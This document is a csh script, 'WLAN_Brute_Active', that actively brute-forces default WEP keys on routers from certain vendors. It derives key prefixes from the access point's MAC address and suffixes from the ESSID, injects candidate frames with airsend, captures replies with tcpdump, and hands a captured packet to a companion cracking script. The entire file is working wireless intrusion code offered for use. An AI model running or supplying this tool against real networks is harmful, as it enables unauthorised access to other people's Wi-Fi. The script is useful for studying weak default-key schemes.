#!/bin/csh -f
###############################################################################
#                           WLAN_Brute_Active 1.15                            #
#                                                                             #
#                                     by                                      #
#                                                                             #
#             L. Padilla (e-mail: padilla at domain "gae ucm es")             #
#                                                                             #
#                     Madrid, April 2006 - December 2013                      #
#                                                                             #
# Latest at http://www.gae.ucm.es/~padilla/extrawork/wlan_brute_active.csh    #
###############################################################################


#set echo on


set dev   =  $1
set essid = "$2"
set apmac =  $3
set mac   =  $4

set idmac = `echo $apmac | cut -d : -f 1-3 | tr 'a-f' 'A-F'`

if ($idmac == 00:01:38) then
  set key1 = X000138
else if ($idmac == E0:91:53) then
  set key1 = XE09153
else if ($idmac == 00:02:CF) then
  set key1 = Z0002CF
else if ($idmac == 00:16:38) then
  set key1 = C0030DA
else if ($idmac == 00:18:02) then
  set key1 = H13D5BC
else if ($idmac == 00:19:CB) then
  set key1 = Z0002CF
else if ($idmac == 00:1A:2B || $idmac == 00:03:C9) then
  set key1 = C001D20
else if ($idmac == 00:60:B3 || $idmac == 00:13:49 || $idmac == 00:A0:C5) then
  set key1 = Z001349
else if ($idmac == 40:4A:03) then
  set key1 = Z404A03
else if ($idmac == 50:67:F0) then
  set key1 = Z5067F0
else if ($idmac == 00:23:F8) then
  set key1 = Z0023F8
else
  echo "Unknown AP MAC. WLAN specific attack not possible."
  exit 1
endif

set key3 = `echo "$essid" | tail -c3`

set n0 = `echo $apmac | cut -d : -f 4 | head -c 1 | tr 'a-f' 'A-F'`

if ($key1 == Z001349) then

  if      ($n0 == 0) then
    set list = "6 5 7 8 4 9 3 A 2 B 1 C 0 D F E"
  else if ($n0 == 1) then
    set list = "6 5 8 7 4 9 3 A 2 B 1 C 0 D F E"
  else if ($n0 == 2) then
    set list = "6 7 5 8 4 9 3 A 2 B 1 C 0 D F E"
  else if ($n0 == 3) then
    set list = "6 7 8 9 5 A 4 B 3 C 2 D 1 E 0 F"
  else if ($n0 == 4) then
    set list = "7 6 8 9 5 A 4 B 3 C 2 D 1 E 0 F"
  else if ($n0 == 5) then
    set list = "7 8 6 9 5 A 4 B 3 C 2 D 1 E 0 F"
  else if ($n0 == 6) then
    set list = "7 8 9 6 5 A 4 B 3 C 2 D 1 E 0 F"
  else if ($n0 == 7) then
    set list = "8 7 9 6 A 5 B 4 C 3 D 2 E 1 F 0"
  else if ($n0 == 8) then
    set list = "8 9 7 A 6 B 5 C 4 D 3 E 2 F 1 0"
  else if ($n0 == 9) then
    set list = "A B 9 C 8 D 7 E 6 F 5 0 4 1 3 2"
  else if ($n0 == A) then
    set list = "C D B E A F 0 9 1 8 2 7 3 6 4 5"
  else if ($n0 == B) then
    set list = "E F 0 D 1 C 2 B 3 A 4 5 6 7 8 9"
  else if ($n0 == C) then
    set list = "0 1 F 2 3 E 4 D 5 C 6 B 7 A 8 9"
  else if ($n0 == D) then
    set list = "2 3 4 1 5 0 6 7 8 9 A B C D E F"
  else if ($n0 == E) then
    set list = "4 5 3 2 6 1 7 0 8 9 A B C D E F"
  else if ($n0 == F) then
    set list = "6 7 5 4 8 3 9 2 A 1 B 0 C D E F"
  endif

else if ($key1 == X000138) then

  if      ($n0 == A) then
    set n0 = 10
  else if ($n0 == B) then
    set n0 = 11
  else if ($n0 == C) then
    set n0 = 12
  else if ($n0 == D) then
    set n0 = 13
  else if ($n0 == E) then
    set n0 = 14
  else if ($n0 == F) then
    set n0 = 15
  endif

  if ($n0 - 1 >= 0) then
    @ n1 = $n0 - 1
  else
    @ n1 = $n0 + 16 - 1
  endif
  if ($n0 + 1 > 15) then
    @ n2 = $n0 + 1 - 16
  else
    @ n2 = $n0 + 1
  endif
  if ($n0 - 2 >= 0) then
    @ n3 = $n0 - 2
  else
    @ n3 = $n0 + 16 - 2
  endif
  if ($n0 + 2 > 15) then
    @ n4 = $n0 + 2 - 16
  else
    @ n4 = $n0 + 2
  endif
  if ($n0 - 3 >= 0) then
    @ n5 = $n0 - 3
  else
    @ n5 = $n0 + 16 - 3
  endif
  if ($n0 + 3 > 15) then
    @ n6 = $n0 + 3 - 16
  else
    @ n6 = $n0 + 3
  endif
  if ($n0 - 4 >= 0) then
    @ n7 = $n0 - 4
  else
    @ n7 = $n0 + 16 - 4
  endif
  if ($n0 + 4 > 15) then
    @ n8 = $n0 + 4 - 16
  else
    @ n8 = $n0 + 4
  endif
  if ($n0 - 5 >= 0) then
    @ n9 = $n0 - 5
  else
    @ n9 = $n0 + 16 - 5
  endif
  if ($n0 + 5 > 15) then
    @ nA = $n0 + 5 - 16
  else
    @ nA = $n0 + 5
  endif
  if ($n0 - 6 >= 0) then
    @ nB = $n0 - 6
  else
    @ nB = $n0 + 16 - 6
  endif
  if ($n0 + 6 > 15) then
    @ nC = $n0 + 6 - 16
  else
    @ nC = $n0 + 6
  endif
  if ($n0 - 7 >= 0) then
    @ nD = $n0 - 7
  else
    @ nD = $n0 + 16 - 7
  endif
  if ($n0 + 7 > 15) then
    @ nE = $n0 + 7 - 16
  else
    @ nE = $n0 + 7
  endif
  if ($n0 - 8 >= 0) then
    @ nF = $n0 - 8
  else
    @ nF = $n0 + 16 - 8
  endif

  if      ($n0 == 10) then
    set n0 = A
  else if ($n0 == 11) then
    set n0 = B
  else if ($n0 == 12) then
    set n0 = C
  else if ($n0 == 13) then
    set n0 = D
  else if ($n0 == 14) then
    set n0 = E
  else if ($n0 == 15) then
    set n0 = F
  endif
  if      ($n1 == 10) then
    set n1 = A
  else if ($n1 == 11) then
    set n1 = B
  else if ($n1 == 12) then
    set n1 = C
  else if ($n1 == 13) then
    set n1 = D
  else if ($n1 == 14) then
    set n1 = E
  else if ($n1 == 15) then
    set n1 = F
  endif
  if      ($n2 == 10) then
    set n2 = A
  else if ($n2 == 11) then
    set n2 = B
  else if ($n2 == 12) then
    set n2 = C
  else if ($n2 == 13) then
    set n2 = D
  else if ($n2 == 14) then
    set n2 = E
  else if ($n2 == 15) then
    set n2 = F
  endif
  if      ($n3 == 10) then
    set n3 = A
  else if ($n3 == 11) then
    set n3 = B
  else if ($n3 == 12) then
    set n3 = C
  else if ($n3 == 13) then
    set n3 = D
  else if ($n3 == 14) then
    set n3 = E
  else if ($n3 == 15) then
    set n3 = F
  endif
  if      ($n4 == 10) then
    set n4 = A
  else if ($n4 == 11) then
    set n4 = B
  else if ($n4 == 12) then
    set n4 = C
  else if ($n4 == 13) then
    set n4 = D
  else if ($n4 == 14) then
    set n4 = E
  else if ($n4 == 15) then
    set n4 = F
  endif
  if      ($n5 == 10) then
    set n5 = A
  else if ($n5 == 11) then
    set n5 = B
  else if ($n5 == 12) then
    set n5 = C
  else if ($n5 == 13) then
    set n5 = D
  else if ($n5 == 14) then
    set n5 = E
  else if ($n5 == 15) then
    set n5 = F
  endif
  if      ($n6 == 10) then
    set n6 = A
  else if ($n6 == 11) then
    set n6 = B
  else if ($n6 == 12) then
    set n6 = C
  else if ($n6 == 13) then
    set n6 = D
  else if ($n6 == 14) then
    set n6 = E
  else if ($n6 == 15) then
    set n6 = F
  endif
  if      ($n7 == 10) then
    set n7 = A
  else if ($n7 == 11) then
    set n7 = B
  else if ($n7 == 12) then
    set n7 = C
  else if ($n7 == 13) then
    set n7 = D
  else if ($n7 == 14) then
    set n7 = E
  else if ($n7 == 15) then
    set n7 = F
  endif
  if      ($n8 == 10) then
    set n8 = A
  else if ($n8 == 11) then
    set n8 = B
  else if ($n8 == 12) then
    set n8 = C
  else if ($n8 == 13) then
    set n8 = D
  else if ($n8 == 14) then
    set n8 = E
  else if ($n8 == 15) then
    set n8 = F
  endif
  if      ($n9 == 10) then
    set n9 = A
  else if ($n9 == 11) then
    set n9 = B
  else if ($n9 == 12) then
    set n9 = C
  else if ($n9 == 13) then
    set n9 = D
  else if ($n9 == 14) then
    set n9 = E
  else if ($n9 == 15) then
    set n9 = F
  endif
  if      ($nA == 10) then
    set nA = A
  else if ($nA == 11) then
    set nA = B
  else if ($nA == 12) then
    set nA = C
  else if ($nA == 13) then
    set nA = D
  else if ($nA == 14) then
    set nA = E
  else if ($nA == 15) then
    set nA = F
  endif
  if      ($nB == 10) then
    set nB = A
  else if ($nB == 11) then
    set nB = B
  else if ($nB == 12) then
    set nB = C
  else if ($nB == 13) then
    set nB = D
  else if ($nB == 14) then
    set nB = E
  else if ($nB == 15) then
    set nB = F
  endif
  if      ($nC == 10) then
    set nC = A
  else if ($nC == 11) then
    set nC = B
  else if ($nC == 12) then
    set nC = C
  else if ($nC == 13) then
    set nC = D
  else if ($nC == 14) then
    set nC = E
  else if ($nC == 15) then
    set nC = F
  endif
  if      ($nD == 10) then
    set nD = A
  else if ($nD == 11) then
    set nD = B
  else if ($nD == 12) then
    set nD = C
  else if ($nD == 13) then
    set nD = D
  else if ($nD == 14) then
    set nD = E
  else if ($nD == 15) then
    set nD = F
  endif
  if      ($nE == 10) then
    set nE = A
  else if ($nE == 11) then
    set nE = B
  else if ($nE == 12) then
    set nE = C
  else if ($nE == 13) then
    set nE = D
  else if ($nE == 14) then
    set nE = E
  else if ($nE == 15) then
    set nE = F
  endif
  if      ($nF == 10) then
    set nF = A
  else if ($nF == 11) then
    set nF = B
  else if ($nF == 12) then
    set nF = C
  else if ($nF == 13) then
    set nF = D
  else if ($nF == 14) then
    set nF = E
  else if ($nF == 15) then
    set nF = F
  endif

  set list = "$n0 $n1 $n2 $n3 $n4 $n5 $n6 $n7 $n8 $n9 $nA $nB $nC $nD $nE $nF"

else
  set list = "0 1 2 3 4 5 6 7 8 9 A B C D E F"
endif


if (-e "replay_$essid.pcap") goto crack


touch "wlan_brute_$essid.pcap"

(tcpdump -i $dev -U -s 0 -w "wlan_brute_$essid.pcap" "ether[0:1]=0x08 and ((ether[4:4]=0x`echo $apmac | tr -d ':' | cut -c 1-8` and ether[8:2]=0x`echo $apmac | tr -d ':' | cut -c 9-12`) or (ether[10:4]=0x`echo $apmac | tr -d ':' | cut -c 1-8` and ether[14:2]=0x`echo $apmac | tr -d ':' | cut -c 9-12`)) and (ether[10:4]!=0x`echo $mac | tr -d ':' | cut -c 1-8` or ether[14:2]!=0x`echo $mac | tr -d ':' | cut -c 9-12`)" >& /dev/null &) >& /dev/null

set r = 0

init:

foreach       i ($list)
  foreach     j (0 1 2 3 4 5 6 7 8 9 A B C D E F)
    foreach   k (0 1 2 3 4 5 6 7 8 9 A B C D E F)

      echo "Key group: $key1 $i $j $k 0-F $key3"

      foreach l (0 1 2 3 4 5 6 7 8 9 A B C D E F)

        gencases -s $key1$i$j$k$l$key3 -f wlan_brute_tmp.pcap -n 1

        airsend $dev wlan_brute_tmp.pcap -c 1 -d 1000 -fc 0841 -a1 `echo $apmac | tr -d :` -a2 `echo $mac | tr -d :` -a3 ffffffffffff

      end

      set size = `ls -l "wlan_brute_$essid.pcap" | awk '{print $5}'`
      if ($size > 24) then

        echo "Got packet!"

        ifconfig $dev down
        killall tcpdump >& /dev/null
        sleep 2
        killall -9 tcpdump >& /dev/null
        tcpdump -r "wlan_brute_$essid.pcap" -s 0 -c 1 -w "replay_$essid.pcap" >& /dev/null
        rm -f wlan_brute_tmp.pcap "wlan_brute_$essid.pcap"

crack:

        echo "Cracking the key..."
        wlan_brute_passive.csh "$essid" $apmac

        exit $status
      endif

    end
  end
end

if ($idmac == 00:03:C9) then
  if ($r == 0) then
    set key1 = C0030DA
    set r = 1
    goto init
  else
    set key1 = C001D20
    set r = 0
else if ($idmac == 00:02:CF) then
  if ($r == 0) then
    set key1 = Z0023F8
    set r = 1
    goto init
  else
    set key1 = Z0002CF
    set r = 0
endif

echo "Key not found, but good packets may have been missed, restarting to retry..."
echo "You may review the keys tried for a mistake: wrong prefix or suffix, incomplete"
echo "set, ..."


goto init
